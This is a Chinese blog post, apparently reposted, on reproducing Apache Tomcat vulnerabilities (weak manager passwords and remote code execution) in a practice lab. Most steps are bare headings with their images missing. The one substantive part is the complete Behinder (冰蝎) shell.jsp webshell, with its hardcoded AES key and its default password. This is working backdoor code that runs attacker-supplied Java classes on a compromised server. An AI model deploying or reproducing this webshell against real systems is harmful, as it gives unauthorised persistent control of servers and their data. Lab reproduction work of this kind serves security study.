【精选】中间件 tomcat漏洞复现-Toy模板网

这篇具有很好参考价值的文章主要介绍了【精选】中间件 tomcat漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

🍬 博主介绍

👨‍🎓 博主介绍：大家好，我是 hacker-routing ，很高兴认识大家~
✨主攻领域：【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

1、tomcat后台弱口令漏洞利用

利用冰蝎连接：

2、tomcat远程代码执行漏洞

利用冰蝎子连接：

1、tomcat后台弱口令漏洞利用

【精选】中间件 tomcat漏洞复现,windows、linux系统开发,web,中间件,windows,linux,tomcat,python,服务器,kali

利用冰蝎连接：

【精选】中间件 tomcat漏洞复现,windows、linux系统开发,web,中间件,windows,linux,tomcat,python,服务器,kali

2、tomcat远程代码执行漏洞

靶场：124.70.71.251:49586

利用冰蝎的shell.jsp文件

shell.jsp:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

【精选】中间件 tomcat漏洞复现,windows、linux系统开发,web,中间件,windows,linux,tomcat,python,服务器,kali